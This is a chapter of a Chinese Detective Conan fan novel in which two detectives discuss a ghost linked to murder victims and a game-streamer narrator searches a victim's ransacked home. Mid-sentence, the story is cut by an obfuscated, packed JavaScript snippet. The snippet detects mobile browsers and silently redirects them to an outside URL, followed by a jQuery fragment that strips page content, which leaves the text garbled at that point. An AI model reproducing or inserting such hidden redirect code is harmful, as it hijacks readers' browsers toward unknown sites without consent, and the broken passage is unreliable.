6.第三轮游戏

作品:《一命速通,但在米花町

    松田阵平的思维不自觉发散开来。


    如果他和这只鬼还能第三次碰见的话,是不是最后监控里呈现的交谈对象也会是一个案件的受害者呢?


    这样的念头算不上无厘头,先前两次碰面的结果都是如此。但要说有理有据,两次作为证据次数还是太少了,因此这一点猜想只能够作为一种可能定论。


    松田阵平站在工厂外头,面无表情地抽完烟掐灭,掀起警戒线钻入“时崎由利”尸体被发现的地方。


    案发现场此时围了一圈警察,拍照的拍照,搜查现场的搜查现场,井然有序又安静的很,只有相机“咔嚓咔嚓”的声音回荡在工厂中。


    松田阵平一眼看见了萩原研二,对方正蹲在尸体旁边,仔细观察着。


    “有什么线索了吗?”松田阵平走到他旁边,低声问。


    萩原研二摇摇头:“尸体被腐蚀性溶液毁了大半,要不是你碰见过她估计根本认不出来。说到这个,小阵平你怎么会在街道上拉住她的手腕?你以前认识她吗?”


    松田阵平对这个问题早有预料,示意萩原研二到一旁说。


    他们在角落寻了块地,松田阵平又从口袋里掏出一只烟点上。


    “给我也来一只。”萩原研二伸手。


    松田阵平递给他,两人站在角落抽着烟,看场内同事们继续忙碌。其实双方都没有很大的烟瘾,只是最近案件数量激增,落在肩头的工作多起来,实在烦躁,才抽两根缓解缓解。


    “我之前跟你说的红发女性,我碰到她了。”松田阵平咬着烟,话音含含糊糊从嘴里溜出来。


    因为是从小长大的幼驯染,先前松田阵平把自己碰到一个只有他看到和记得的红发女性的事情也告诉了萩原研二。


    因此萩原研二立刻了然:“后面监控里显示出来的是死者时崎由利?”


    “……对。”松田阵平捏着眉心,沉默片刻,又说:“先是千野葵,后是时崎由利,这两者的共同点都是受害人,会不会……。”


    “你觉得她是会附身在受害人身上的鬼魂?”


    萩原研二明白幼驯染的意思,接下话头。


    这个想法的确说的通。


    但是没有证据,它永远只是猜想。


    警察是靠证据还原事实,抓捕犯人的,对证据的关注几乎已经融入两位搜查一课警官的本能。


    “恐怕还是得有下一次碰面才行……之后我也会去神社问问。”


    这件事暂且没什么下文,松田阵平最后说了一下安排,话题便又回到眼前的工作上。


    “监控虽然变动了,但监控里头时崎由利的反应一切正常。短短两分钟不到的接触透露不了多少信息。”


    “我知道……时崎由利的社会关系正在排查,应该很快就会有结果了。”萩原研二说完,就听见自己手机“叮”地一声,他打开一看,侦查科的人正好给他发来了社会关系的调查结果。


    【时崎由利社会关系简单,家庭成员仅有母亲和妹妹,线上线下都没有亲近的朋友。其父亲于十年前去世,家庭开支主要由母亲承担。据街坊邻居口供,时崎由利性格内向,平常几乎不与人起冲突。目前没有发现有人与她有明显的仇怨。】


    萩原研二将内容转给松田阵平看。


    “啧。”


    松田阵平快速浏览一遍,目光在“没有明显仇家”的信息上来回扫视。


    根据法医的初步判断,时崎由利的尸体面部毁坏严重,腐蚀性溶液应该是正对着脸部泼的。


    ——这显然是具有极大私怨的表现。


    这份调查显然不够完善。


    “说起来佐藤是不是去死者家里了?”


    想起两个小时前手机上收到的信息,松田阵平连忙拨了个电话过去。


    “喂,佐藤,你现在是不是在时崎家里?……你重点问问她的妹妹……什么方面?围绕颜值这方面……”


    *


    灰泽美代子家里一片狼藉。


    我站在打开的门扉前,不经愕然。


    目之所及几乎全是纷飞的、破损的家具、文件、纸箱,乱七八糟的东西堆满了边边角角。


    毫无顺序,仿佛被人暴/力拆解过……我甚至在墙壁看到了黑黢黢的圆形痕迹。


    我一时间竟然不知道该从什么地方开始搜起,最后只好先进来把门锁好。


    面板提示我有更新。


    【人物资料已更新】


    【灰泽美代子并不想从居住十几年的家中搬走,搬走的原因是这里已经不安全,她希望搬去临县让人找不到。】


    希望别人找不到?


    莫非灰泽美代子是受到了某种威胁?


    我若有所思。


    如果是这样,那么提交辞呈并且立刻搬家也就意味着威胁她的势力是她绝对惹不起的……加之她的生命已经走到尽头不到24小时,这个威胁很有可能是生命威胁。


    刚才我就注意到了。


    灰泽美代子家中墙壁上有黑黢黢的圆形痕迹。


    我曾经陪同朋友玩过枪战游戏——而这个痕迹很像那些枪打在墙壁上留下的。


    在现实里面,持枪的多半是恐怖分子,又或者是黑|道,列如山口组之类的,但在这个游戏中我就不太能肯定了,也不知道灰泽美代子招惹到的是什么。


    【生存倒计时19:35:22】


    按照这款游戏的指南,我知道我通关需要达成三个条件:第一,找出凶手;第二,成功逃离;第三,告知警察。


    三者缺一不可。


    在第一局游戏中,我推测千野葵的男友松下太郎是凶手。


    但后来因为所谓的“被发现要逃跑”,我被强制退出并告知游戏失败。


    这虽然让我再一次,松下太郎就是凶手,但我其实并没有在游戏里验证过。


    我点开面板。


    面板依旧是熟悉的几个板块。


    【人物资料】【倒计时】【设置】以及【历史记录】。


    我率先点进人物资料。


    在短暂的第二局游戏中,因为BUG的因素我没有点开过人物资料板块。所以这次点进去我才发现这个板块居然也变成了和历史记录板块一样的文件夹格式。


    里头已经有三个命名好的文件,分别是千野葵、时崎由利以及灰泽美代子。


    我继续点进标有千野葵的文件夹。


    第一局中看过的人物面板关系网络再一次出现在我眼前。


    除去先前我看过的写着已故的千野葵父母和其


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15565183|170141||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    男友松下太郎,这次她的关系网络有了很多变化。


    首先我发现之前还是黑影的地方已经全部变成了陌生的脸和名字,这张关系网络上已经不存在【未知】状态;其次在松下太郎的旁边闪烁着两个不容忽视的词语——【凶手】。


    词语的下方有一行小字:玩家判定凶手成功,未能逃脱。


    我记得在第一局操作中我并没有进行填写凶手是谁这样的环节,只是默默在心里肯定凶手是松下太郎,但是这个游戏系统却说我判定成功。


    那么这一局是不是也一样?


    我转而点开标有灰泽美代子的文件夹。


    灰泽美代子的关系网络比千野葵要来的复杂。


    家庭关系上,灰泽美代子父母已经离婚并且各自再组建了家庭;没有朋友和恋人。但除此之外,灰泽美代子的社会关系上,我看不清的黑色影子远比千野葵多,这些黑影面貌都不能看清,但旁边写着“上司”两个字。


    我送交辞呈的时候见到过她的上司,这个上司并不是以黑影形式出现,而是可见的照片形式,美代子和他连接的线上写着已无关系。


    难道说灰泽美代子还有别的工作,并且还没有辞去吗?


    这整份关系网络浏览下来,我并没有“判定成功”的相关字眼。


    也许是因为我还没有准确猜出谁是凶手。


    我手头自身已经能找到的线索已经全部查找过一遍,接下来想要进一步知道是谁……恐怕真的得翻找这看上去乱七八糟的屋子了。


    这让我不禁有些头疼,但还是认命蹲下身开始翻箱倒柜。


    【生存倒计时18:00:00】


    【生存倒计时15:00:00】


    【生存倒计时11:00:00】


    ……


    几个小时一晃而过,我一无所获。


    美代子家中根本没有一点线索!


    这不应该!


    游戏怎么会让人走进死胡同呢?这设计是不合理的。


    我开始有些焦虑。


    作为一名游戏主播,我玩游戏基本上都会录屏当做视频材料,因此每次玩游戏我都很注重效率,让自己用最短的时间得到更多线索。长久下来,我对游戏各种设计也算有些了解。


    毕竟能在这行里面混口饭吃,对于各种游戏的德行怎么也不可能陌生。


    这么就没有一点线索我要减掉多少内容……


    等等。


    我这才想起来,这不是真正的《一命速通米花町》,我也没有进行录屏。


    点进这个游戏不是因为任何功利性的目的,那我还在意那么多干嘛?


    随心玩就好了啊!


    瘫在房间床上的我一个鲤鱼打挺盘腿坐起来,捞过一旁的手机点开通讯录。


    想不到是谁就不要想了,直接进行下一个步骤得了。


    多亏我比常人更好的记忆力,我还记得那个游戏BUG曾经给我留过他的电话号码。


    我按出一串数字,点击拨通的绿色按钮,将手机贴到耳旁耐心等待。


    “嘟——嘟——嘟”


    “哔!”


    一声电流音之后,电话另一头响起一道略带困惑的、有些失真的、耳熟的声音:“喂?”